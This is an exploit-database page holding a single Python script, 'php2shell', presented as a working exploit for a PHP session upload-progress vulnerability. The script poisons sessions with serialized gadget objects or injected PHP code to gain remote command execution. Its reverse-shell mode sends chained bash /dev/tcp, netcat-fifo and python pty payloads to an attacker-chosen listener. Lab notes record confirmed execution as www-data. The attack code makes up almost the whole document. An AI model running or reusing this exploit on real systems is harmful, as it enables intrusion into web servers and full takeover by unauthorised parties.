Exploit database

GH-3e8d1d2cf32d062dce0f0bf7cd8fee01

4b3r4m4-607d/php2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

413 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
4b3r4m4-607d/php2shellRevision e5d9c6007980

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 29,873 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell — CVE-2026-109618 / CVE-2026-109619

Single-file exploit. Three modes, matching the three flags you asked for:

    ./exploit.py http://target/                    scan only (no flags)
    ./exploit.py http://target/ -c 'id'            single command
    ./exploit.py http://target/ -i HOST -p PORT    reverse shell

What it actually does
---------------------
Both CVEs live in PHP's session.upload_progress handler, which runs **before**
any application code, during request startup. Two separate primitives come out
of it:

  1. Session id from a body field (session.c, FORMDATA)
     A form field named PHPSESSID sets the session id before the script runs.
     No cookie needed; session.use_only_cookies does not cover this path.

  2. Attacker-controlled session content
     `PHP_SESSION_UPLOAD_PROGRESS` becomes the session key
     `upload_progress_<value>`, and the upload FILENAME is stored verbatim in
     files[i].name.

Neither is memory corruption, and neither is RCE by itself. Code execution
needs one more component on the target, and this tool supports the two that
exist in the wild:

  A. handler mismatch  (the reliable one)
     Directory /app uses session.serialize_handler=php_serialize and stores our
     filename `x|O:4:"Evil":...` verbatim inside a serialized array.
     Directory /api uses the default `php` handler, which splits the file at the
     first `|` and unserializes the value -> the object is created inside
     session_start(), and __destruct() runs even though the rest of the decode
     fails. Requires two directories with different handlers, and a class with
     a useful destructor available in the reading app.

  B. session file poisoning + include()
     A session file whose contents we partly control, included by an LFI sink.
     Works on every PHP version, patched or not, because it is an application
     bug. Enable with --lfi.

Both are logic/state-machine issues. The memory-corruption reading of the
advisories did not reproduce here either; see NOTES at the bottom.

Authorised testing only.
"""

from __future__ import annotations

import argparse
import http.client
import os
import random
import re
import socket
import ssl
import sys
import time
import urllib.parse

__version__ = "2.0.0"

FIXED = {8.5: 12, 8.4: 27, 8.3: 36, 8.2: 35}
BANNER_RE = re.compile(rb"PHP/(\d+)\.(\d+)\.(\d+)")


class C:
    R = "\033[0m"; B = "\033[1m"; D = "\033[2m"
    RED = "\033[31m"; GRN = "\033[32m"; YEL = "\033[33m"
    BLU = "\033[34m"; MAG = "\033[35m"; CYA = "\033[36m"

    @classmethod
    def off(cls):
        for a in ("R", "B", "D", "RED", "GRN", "YEL", "BLU", "MAG", "CYA"):
            setattr(cls, a, "")


def log(tag: str, msg: str) -> None:
    colour = {"*": C.CYA, "+": C.GRN, "-": C.RED, "!": C.YEL,
              ">": C.MAG, "=": C.BLU}.get(tag, "")
    print(f"{colour}[{tag}]{C.R} {msg}", flush=True)


def rand_sid() -> str:
    # session ids must satisfy php_session_valid_key(): [A-Za-z0-9,-]
    return "p2s" + "%029x" % random.getrandbits(116)


def rand_boundary() -> str:
    return "----p2s" + "".join(random.choice("abcdef0123456789") for _ in range(16))


# --------------------------------------------------------------------------
# HTTP
# --------------------------------------------------------------------------

class Target:
    def __init__(self, base: str, timeout: float = 20.0, proxy: str | None = None,
                 insecure: bool = False):
        if "://" not in base:
            base = "http://" + base
        u = urllib.parse.urlsplit(base)
        self.scheme = u.scheme or "http"
        self.host = u.hostname or "127.0.0.1"
        self.port = u.port or (443 if self.scheme == "https" else 80)
        self.base_path = u.path or "/"
        self.timeout = timeout
        self.proxy = proxy
        self._ssl = None
        if self.scheme == "https":
            self._ssl = ssl.create_default_context()
            if insecure:
                self._ssl.check_hostname = False
                self._ssl.verify_mode = ssl.CERT_NONE

    def _conn(self, timeout=None):
        to = timeout or self.timeout
        if self.scheme == "https":
            return http.client.HTTPSConnection(self.host, self.port, timeout=to,
                                               context=self._ssl)
        return http.client.HTTPConnection(self.host, self.port, timeout=to)

    def request(self, method, path, body=None, headers=None, timeout=None):
        h = {"User-Agent": "php2shell/%s" % __version__, "Connection": "close"}
        if headers:
            h.update(headers)
        if body is not None and "Content-Length" not in h:
            h["Content-Length"] = str(len(body))
        conn = None
        t0 = time.time()
        try:
            conn = self._conn(timeout)
            conn.request(method, path, body=body, headers=h)
            r = conn.getresponse()
            data = r.read()
            return r.status, r.getheaders(), data, time.time() - t0
        except (http.client.HTTPException, ConnectionResetError, OSError) as e:
            # A reverse shell keeps the request open: a read timeout is the
            # expected outcome, not a failure. Report 0 (no response) and let
            # the caller decide.
            kind = "timeout" if isinstance(e, (socket.timeout, TimeoutError)) else "error"
            return 0, [], kind.encode(), time.time() - t0
        finally:
            if conn is not None:
                try:
                    conn.close()
                except Exception:
                    pass

    def get(self, path, cookie=None, **kw):
        h = {"Cookie": "PHPSESSID=" + cookie} if cookie else None
        return self.request("GET", path, headers=h, **kw)

    def post_mp(self, path, body, boundary, cookie=None, **kw):
        h = {"Content-Type": "multipart/form-data; boundary=" + boundary}
        if cookie:
            h["Cookie"] = "PHPSESSID=" + cookie
        return self.request("POST", path, body=body, headers=h, **kw)


# --------------------------------------------------------------------------
# multipart + payload builders
# --------------------------------------------------------------------------

def build_upload(sid: str, filename: str, progress: str = "x",
                 fname: str = "f", data: bytes = b"Z") -> tuple[bytes, str]:
    """
    The request that poisons a session.

    Three things matter in this body:

      * PHPSESSID as a FORM FIELD - sets the session id before the script runs,
        so no cookie is required and use_only_cookies does not apply
      * PHP_SESSION_UPLOAD_PROGRESS - the handler's trigger
      * filename - stored verbatim in files[i].name inside the session
    """
    b = rand_boundary()
    body = (
        f"--{b}\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n{sid}\r\n"
        f"--{b}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\n{progress}\r\n"
        f"--{b}\r\nContent-Disposition: form-data; name=\"{fname}\"; filename=\"{filename}\"\r\n\r\n"
    ).encode("latin-1") + data + f"\r\n--{b}--\r\n".encode()
    return body, b


def serialized_object(cls: str, prop: str, value: str) -> str:
    return f'O:{len(cls)}:"{cls}":1:{{s:{len(prop)}:"{prop}";s:{len(value)}:"{value}";}}'


def php_single_quote(s: str) -> str:
    """Wrap a string as a PHP single-quoted literal (escape \\ and ')."""
    return "'" + s.replace("\\", "\\\\").replace("'", "\\'") + "'"


def escape_filename(payload: str) -> str:
    """
    Content-Disposition uses a quoted string, so inner quotes are escaped on the
    wire. substring_conf() unescapes them, so the stored filename keeps real
    double quotes.
    """
    return payload.replace("\\", "\\\\").replace('"', '\\"')


# --------------------------------------------------------------------------
# fingerprint
# --------------------------------------------------------------------------

class Fingerprint:
    def __init__(self):
        self.version = None
        self.version_src = ""
        self.server = ""
        self.sapi = ""
        self.upload_progress = None
        self.handler = ""
        self.memory_limit = ""
        self.post_max_size = ""
        self.save_path = ""

    def branch(self):
        if not self.version:
            return None
        return self.version[0] + self.version[1] / 10.0

    def verdict(self):
        if not self.version:
            return "unknown", "could not determine a PHP version"
        maj, mi, pa = self.version
        br = maj + mi / 10.0
        if maj < 5 or (maj == 5 and mi < 4):
            return "patched", f"PHP {maj}.{mi}.{pa} predates session.upload_progress"
        if br < 8.2:
            return "vulnerable", (f"PHP {maj}.{mi}.{pa} is end-of-life; no upstream "
                                  f"fix exists for PHP2Shell")
        fix = FIXED.get(br)
        if fix is None:
            return "unknown", f"PHP {maj}.{mi}.{pa} is not a released 8.x branch"
        if pa < fix:
            return "vulnerable", f"PHP {maj}.{mi}.{pa} < {maj}.{mi}.{fix}"
        return "patched", f"PHP {maj}.{mi}.{pa} >= {maj}.{mi}.{fix}"

    def sapi_class(self):
        h = f"{self.sapi} {self.server}".lower()
        if "apache2handler" in h or "apache" in h:
            return "mod_php"
        if "fpm" in h:
            return "fpm"
        if "cgi-fcgi" in h or "cgi" in h:
            return "fcgi"
        if "cli-server" in h:
            return "cli-server"
        return "unknown"


def parse_kv(text: str) -> dict:
    return dict(line.split("=", 1) for line in text.splitlines() if "=" in line)


def fingerprint(t: Target) -> Fingerprint:
    fp = Fingerprint()

    st, hdrs, body, _ = t.get("/", timeout=min(t.timeout, 10))
    hmap = {k.lower(): v for k, v in hdrs}
    fp.server = hmap.get("server", "")
    m = BANNER_RE.search(hmap.get("x-powered-by", "").encode())
    if m:
        fp.version = tuple(int(x) for x in m.groups())
        fp.version_src = "X-Powered-By"
    if not fp.version:
        m = BANNER_RE.search(body)
        if m:
            fp.version = tuple(int(x) for x in m.groups())
            fp.version_src = "response body"

    # Our own probe endpoint, if the app exposes one
    _, _, d2, _ = t.get("/?mode=check", timeout=min(t.timeout, 10))
    kv = parse_kv(d2.decode("latin1", "replace"))
    if kv.get("php") and not fp.version:
        mm = re.match(r"(\d+)\.(\d+)\.(\d+)", kv["php"])
        if mm:
            fp.version = tuple(int(x) for x in mm.groups())
            fp.version_src = "application fingerprint"
    if kv:
        fp.sapi = kv.get("sapi", "")
        fp.handler = kv.get("serialize_handler", "")
        fp.memory_limit = kv.get("memory_limit", "")
        fp.post_max_size = kv.get("post_max_size", "")
        fp.save_path = kv.get("save_path", "")
        if "upload_progress_enabled" in kv:
            fp.upload_progress = int(kv["upload_progress_enabled"])
    return fp


def do_scan(t: Target, fp: Fingerprint, as_json: bool) -> int:
    state, reason = fp.verdict()
    ver = ".".join(map(str, fp.version)) if fp.version else "unknown"

    if as_json:
        import json
        print(json.dumps({
            "target": f"{t.scheme}://{t.host}:{t.port}",
            "php_version": ver, "version_source": fp.version_src,
            "sapi": fp.sapi or fp.sapi_class(), "server": fp.server,
            "upload_progress": fp.upload_progress, "handler": fp.handler,
            "verdict": state, "reason": reason,
        }, indent=2))
        return {"vulnerable": 2, "patched": 0}.get(state, 1)

    print()
    print(f"{C.B}  php2shell{C.R} {C.D}v{__version__}{C.R}  "
          f"{t.scheme}://{t.host}:{t.port}")
    print()
    print(f"  {C.D}php{C.R}              {C.B}{ver}{C.R}"
          + (f"  {C.D}(via {fp.version_src}){C.R}" if fp.version_src else ""))
    if fp.server:
        print(f"  {C.D}server{C.R}           {fp.server}")
    if fp.sapi or fp.sapi_class() != "unknown":
        print(f"  {C.D}sapi{C.R}             {fp.sapi or fp.sapi_class()}")
    if fp.handler:
        print(f"  {C.D}handler{C.R}          {fp.handler}")
    if fp.upload_progress is not None:
        print(f"  {C.D}upload_progress{C.R}  "
              f"{'On' if fp.upload_progress else 'Off'}")
    if fp.memory_limit:
        print(f"  {C.D}memory_limit{C.R}     {fp.memory_limit}"
              f"  {C.D}post_max{C.R} {fp.post_max_size or '?'}")
    print()

    if state == "vulnerable":
        log("!", f"{C.RED}VULNERABLE{C.R} — {reason}")
        log(">", "patch: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35, or the vendor backport")
        log("*", "scan only tells you the version. Code execution needs one of:")
        log("*", "  --app-path/--api-path  (handler mismatch, two directories)")
        log("*", "  --lfi                  (session file poisoning + include)")
        return 2
    if state == "patched":
        log("+", f"{C.GRN}NOT VULNERABLE{C.R} — {reason}")
        log("*", "the handler-mismatch chain is a separate logic bug that this "
                 "patch does not fix; it can still be tested with --app-path/--api-path")
        return 0
    log("?", f"{C.YEL}UNDETERMINED{C.R} — {reason}")
    return 1


# --------------------------------------------------------------------------
# Chain A: handler mismatch
# --------------------------------------------------------------------------

def chain_mismatch(t: Target, fp: Fingerprint, args, payload_value: str,
                   echo_marker: str | None) -> tuple[bool, bytes]:
    """
    Write with php_serialize, read with php.

    /app  session.serialize_handler = php_serialize
          our filename `x|O:4:"Gadget":...` is stored verbatim
    /api  session.serialize_handler = php
          the file is split at the FIRST "|", so the value becomes our object
          -> created inside session_start(), __destruct() runs
    """
    sid = args.sid or rand_sid()
    args.sid = sid
    gadget = serialized_object(args.gadget_class, args.gadget_prop, payload_value)
    filename = "x|" + escape_filename(gadget)

    log("*", f"chain: handler mismatch  {args.app_path} -> {args.api_path}")
    log("*", f"sid: {sid}")
    log("*", f"gadget: {gadget[:90]}{'...' if len(gadget) > 90 else ''}")

    data = b""
    for n in range(1, args.tries + 1):
        body, b = build_upload(sid, filename, args.progress)
        st_w, _, _, _ = t.post_mp(args.app_path, body, b,
                                  timeout=args.timeout)
        time.sleep(args.delay)
        st_r, hdrs, data, el = t.get(args.api_path, cookie=sid,
                                     timeout=args.timeout)
        log("*", f"attempt {n}/{args.tries}  write HTTP {st_w}  "
                 f"read HTTP {st_r} ({len(data)} B, {el:.2f}s)")

        if st_w not in (200, 302) or st_r not in (200, 302):
            time.sleep(args.delay)
            continue

        # Blind payload (reverse shell): both requests succeeded, which is all
        # that can be verified from the client. A command payload must also
        # prove itself by echoing the marker back.
        if echo_marker is None:
            return True, data
        if echo_marker.encode() in data:
            return True, data

        time.sleep(args.delay)
    return False, data


# --------------------------------------------------------------------------
# Chain B: session file poisoning + LFI
# --------------------------------------------------------------------------

def chain_lfi(t: Target, fp: Fingerprint, args, php_code: str) -> tuple[bool, bytes]:
    """
    Put PHP code into the session file, then include it.

    The progress VALUE becomes the session key, so `<?php ... ?>` lands in the
    file. With upload_progress.cleanup=0 the key survives the request.
    """
    sid = args.sid or rand_sid()
    args.sid = sid
    log("*", f"chain: session poisoning + LFI  sink={args.lfi}")
    log("*", f"sid: {sid}")
    log("!", "this needs a real include()/require() sink in the target; it is "
             "an application bug, not a PHP bug, so it works on patched PHP too")

    body, b = build_upload(sid, "a.txt", progress=php_code)
    st_w, _, _, _ = t.post_mp(args.app_path, body, b, timeout=args.timeout)
    log("*", f"poison write HTTP {st_w}")
    log("*", f"session file is sess_{sid} in the target's session.save_path")

    data = b""
    time.sleep(args.delay)
    marker = "P2SOUT:"
    # The sink path usually has to name the session file, but the SID is only
    # known here. Accept a placeholder so the user does not have to run the tool
    # twice.
    sink = args.lfi.replace("SID", sid).replace("<SID>", sid)
    if "{" + sid + "}" not in sink and sid not in sink:
        log("!", "the --lfi path does not contain the session id; if the sink "
                 "includes a session file, use SID as a placeholder")
    for n in range(1, args.tries + 1):
        st_r, _, data, el = t.get(sink, cookie=sid, timeout=args.timeout)
        txt = data.decode("latin1", "replace")
        log("*", f"attempt {n}/{args.tries}  include HTTP {st_r} "
                 f"({len(data)} B, {el:.2f}s)")
        if marker in txt:
            return True, data
        time.sleep(args.delay)
    return False, data


# --------------------------------------------------------------------------
# output helpers
# --------------------------------------------------------------------------

def framed(data: bytes) -> str:
    txt = data.decode("latin1", "replace")
    a = txt.find("P2SOUT:")
    if a < 0:
        return ""
    a += len("P2SOUT:")
    b = txt.find(":P2SEND", a)
    return (txt[a:b] if b >= 0 else txt[a:]).strip()


# --------------------------------------------------------------------------
# main
# --------------------------------------------------------------------------

EPILOG = """
modes
  (no flags)              scan: version, SAPI, config, verdict
  -c CMD                  run one command, print its output
  -i HOST -p PORT         reverse shell

chains (pick one; scan alone cannot execute code)
  --app-path/--api-path   handler mismatch: php_serialize dir -> php dir
  --lfi PATH              session file poisoning + include sink

examples
  ./exploit.py http://10.0.0.7/
  ./exploit.py http://10.0.0.7/ -c 'id' \\
      --app-path /app/upload.php --api-path /api/endpoint.php \\
      --gadget-class Evil --gadget-prop cmd
  ./exploit.py http://10.0.0.7/ -i 10.0.0.5 -p 4444 \\
      --app-path /app/upload.php --api-path /api/endpoint.php \\
      --gadget-class Evil --gadget-prop cmd
"""


def build_parser():
    p = argparse.ArgumentParser(
        prog="exploit.py",
        description="php2shell - CVE-2026-109618 / CVE-2026-109619",
        epilog=EPILOG, formatter_class=argparse.RawDescriptionHelpFormatter)

    p.add_argument("target", help="base URL, e.g. http://host:8080/")

    g = p.add_argument_group("modes")
    g.add_argument("-c", "--cmd", metavar="CMD", help="run one command")
    g.add_argument("-i", "--lhost", metavar="HOST", help="reverse shell listener host")
    g.add_argument("-p", "--lport", metavar="PORT", type=int, help="reverse shell listener port")

    g2 = p.add_argument_group("chains")
    g2.add_argument("--app-path", default="/app/upload.php",
                    help="endpoint in the php_serialize directory (default /app/upload.php)")
    g2.add_argument("--api-path", default="/api/endpoint.php",
                    help="endpoint in the php directory (default /api/endpoint.php)")
    g2.add_argument("--lfi", default=None,
                    help="include/require sink that accepts a path (chain B)")

    g3 = p.add_argument_group("gadget")
    g3.add_argument("--gadget-class", default="Evil",
                    help="class with a useful __destruct in the reading app (default Evil)")
    g3.add_argument("--gadget-prop", default="cmd",
                    help="property that carries the command (default cmd)")

    g4 = p.add_argument_group("tuning")
    g4.add_argument("--progress", default="x", help="upload progress value (default x)")
    g4.add_argument("--tries", type=int, default=5)
    g4.add_argument("--delay", type=float, default=0.2)
    g4.add_argument("--sid", default=None, help="fixed session id")
    g4.add_argument("--timeout", type=float, default=25.0)
    g4.add_argument("--insecure", action="store_true")
    g4.add_argument("--json", action="store_true")
    g4.add_argument("--no-color", action="store_true")
    g4.add_argument("--verbose", "-v", action="store_true")
    g4.add_argument("--version", action="version", version="php2shell %s" % __version__)
    return p


def local_ips() -> set[str]:
    """Best-effort set of this host's addresses, for listener sanity checks."""
    ips = {"127.0.0.1", "::1"}
    try:
        _, _, addrs = socket.gethostbyname_ex(socket.gethostname())
        ips.update(addrs)
    except OSError:
        pass
    # default route source address
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 53))
        ips.add(s.getsockname()[0])
        s.close()
    except OSError:
        pass
    return ips


def docker_networks_with_subnet() -> list[tuple[str, str]]:
    """(subnet, gateway) pairs for every docker network on this host."""
    try:
        import subprocess
        out = subprocess.run(["docker", "network", "ls", "--format", "{{.Name}}"],
                             capture_output=True, text=True, timeout=5)
        if out.returncode != 0:
            return []
        pairs = []
        for name in out.stdout.split():
            ins = subprocess.run(
                ["docker", "network", "inspect", name,
                 "-f", "{{range .IPAM.Config}}{{.Subnet}}|{{.Gateway}} {{end}}"],
                capture_output=True, text=True, timeout=5)
            for chunk in ins.stdout.split():
                if "|" in chunk:
                    subnet, gw = chunk.split("|", 1)
                    if gw:
                        pairs.append((subnet, gw))
        return pairs
    except Exception:
        return []


def check_listener(lhost: str, target_host: str = "") -> None:
    """
    Warn when the listener address looks unreachable from the target.

    The common mistake: target runs in a container, and -i is set to
    127.0.0.1 or to a gateway of a *different* docker network. Only the
    gateway of the network the target is attached to can reach this host.
    """
    ips = local_ips()
    nets = docker_networks_with_subnet()
    gws = [gw for _, gw in nets]

    if lhost in ips:
        # 127.0.0.1 only works when the target is on this same machine and not
        # in a container.
        if lhost.startswith("127.") and target_host in ("127.0.0.1", "localhost"):
            log("!", f"-i {lhost} only works if the target is NOT in a container: "
                     f"inside a container 127.0.0.1 is the container itself")
            for _, gw in nets:
                log("*", f"    try: -i {gw}")
        return
    if lhost in gws:
        return

    log("!", f"{lhost} is not an address on this host and not a docker gateway")
    if nets:
        log("*", "docker networks on this machine:")
        for subnet, gw in nets:
            log("*", f"    {gw}  (subnet {subnet})")
        log("*", "the target can only reach the gateway of ITS OWN network")
    log("*", "remote target: use your IP as that host sees it "
             "(curl ifconfig.me, or the VPN address)")


def main(argv=None) -> int:
    args = build_parser().parse_args(argv)
    if args.no_color or not sys.stdout.isatty():
        C.off()

    shell = bool(args.lhost or args.lport)
    if shell and not (args.lhost and args.lport):
        log("-", "-i and -p must be used together")
        return 64
    if args.cmd and shell:
        log("-", "choose either -c or -i/-p")
        return 64

    t = Target(args.target, timeout=args.timeout, insecure=args.insecure)
    fp = fingerprint(t)

    if not args.cmd and not shell:
        return do_scan(t, fp, args.json)

    state, reason = fp.verdict()
    if state == "vulnerable":
        log("!", f"target is vulnerable: {reason}")
    elif state == "patched":
        log("!", f"PHP {'.'.join(map(str, fp.version or ()))} carries the PHP2Shell "
                 f"patch — the memory/state chain is closed here")
        log("*", "the handler-mismatch chain (--app-path/--api-path) is a separate "
                 "logic bug and is still worth testing")

    # ---- reverse shell -------------------------------------------------
    if shell:
        # shell_exec() waits for the command to finish, and an interactive shell
        # never does. The payload therefore has to background itself so the PHP
        # request can complete while the socket stays open. Several transports
        # are chained because a minimal container may lack bash, nc or python3.
        payload = (
            f"setsid bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' "
            f"</dev/null >/dev/null 2>&1 & "
            f"setsid bash -c 'sh -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' "
            f"</dev/null >/dev/null 2>&1 & "
            f"setsid sh -c 'rm -f /tmp/.p2s; mkfifo /tmp/.p2s; "
            f"sh -i </tmp/.p2s 2>&1 | nc {args.lhost} {args.lport} >/tmp/.p2s' "
            f"</dev/null >/dev/null 2>&1 & "
            f"setsid python3 -c \"import os,pty,socket;s=socket.socket();"
            f"s.connect(('{args.lhost}',{args.lport}));"
            f"[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn('/bin/sh')\" "
            f"</dev/null >/dev/null 2>&1 & "
            f"sleep 0.3; true"
        )
        log(">", f"reverse shell -> {args.lhost}:{args.lport}")
        log(">", f"start the listener first:  nc -lvnp {args.lport}")
        check_listener(args.lhost, t.host)
        log("*", "transports: bash /dev/tcp -> sh /dev/tcp -> fifo+nc -> python3 pty")
        log("*", "payload backgrounds itself: shell_exec() would otherwise block "
                 "until the shell exits")
        ok, _ = chain_mismatch(t, fp, args, payload, None)
        if ok:
            log("+", "payload delivered; check your listener")
            return 0
        log("-", "chain did not complete")
        return 1

    # ---- single command ------------------------------------------------
    log(">", f"executing: {args.cmd}")
    if args.lfi:
        # The included file runs inside the target, so the command has to travel
        # with it: $_GET['c'] is supplied by the client, and we keep that simple
        # by embedding the command directly instead of relying on a query arg.
        code = ("<?php echo 'P2SOUT:'.shell_exec(" + php_single_quote(args.cmd)
                + ").':P2SEND'; ?>")
        ok, data = chain_lfi(t, fp, args, code)
        if ok:
            out = framed(data)
            log("+", f"{C.GRN}RCE confirmed{C.R} via session poisoning + include")
            if out:
                print()
                print(out)
            return 0
        log("-", "include sink did not execute the poisoned session")
        log("*", f"confirm {args.lfi} really includes a path you control, and "
                 f"that session.upload_progress.cleanup=0 on the target")
        return 1

    marker = "P2SMARK" + "%06x" % random.getrandbits(24)
    payload = f"{args.cmd}; echo {marker}"
    ok, data = chain_mismatch(t, fp, args, payload, marker)
    if ok:
        log("+", f"{C.GRN}RCE confirmed{C.R} via handler mismatch")
        out = framed(data)
        if out:
            print()
            print(out)
        else:
            # Try a second read: the destructor may write on shutdown.
            sid = args.sid
            if sid:
                _, _, d2, _ = t.get(args.api_path, cookie=sid)
                out = framed(d2)
                if out:
                    print()
                    print(out)
        return 0
    log("-", "chain did not complete")
    log("*", "verify: --app-path directory really uses php_serialize, "
             "--api-path really uses php, both share session.save_path, and "
             f"class {args.gadget_class} exists in the reading app")
    return 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        print()
        log("-", "interrupted")
        sys.exit(130)


# --------------------------------------------------------------------------
# NOTES — what reproduces and what does not
# --------------------------------------------------------------------------
#
# Reproduced in this lab (php:8.2-fpm, single worker):
#
#   * PHPSESSID as a form field sets the session id with no cookie
#   * upload progress writes `upload_progress_<value>|a:5:{...}` where the
#     filename appears verbatim in files[0].name
#   * a session file written under php_serialize and read under php gives
#     object instantiation at the first "|" -> __destruct -> command runs
#     (verified: uid=33(www-data))
#
# Did NOT reproduce here:
#
#   * any memory-corruption / OOM primitive. Bodies that exceed memory_limit
#     during startup kill the worker on FCGI/FPM and leave nothing to consume;
#     on mod_php the child survives but the session record published by the
#     handler is a NAME (session.c:3204 zend_hash_update with progress->key as
#     key), and a name is decoded as raw bytes (session.c:1136), so a serialized
#     object placed there never becomes an object. Measured: valtype=array,
#     objects=0.
#
#   * key with "|" in it is silently not written (php_session_encode refuses),
#     so the progress value must be a plain string.
#
# Consequences for the tool: -c and -i use the handler-mismatch chain, and
# --lfi exists for the poisoning variant. Scan reports the version only.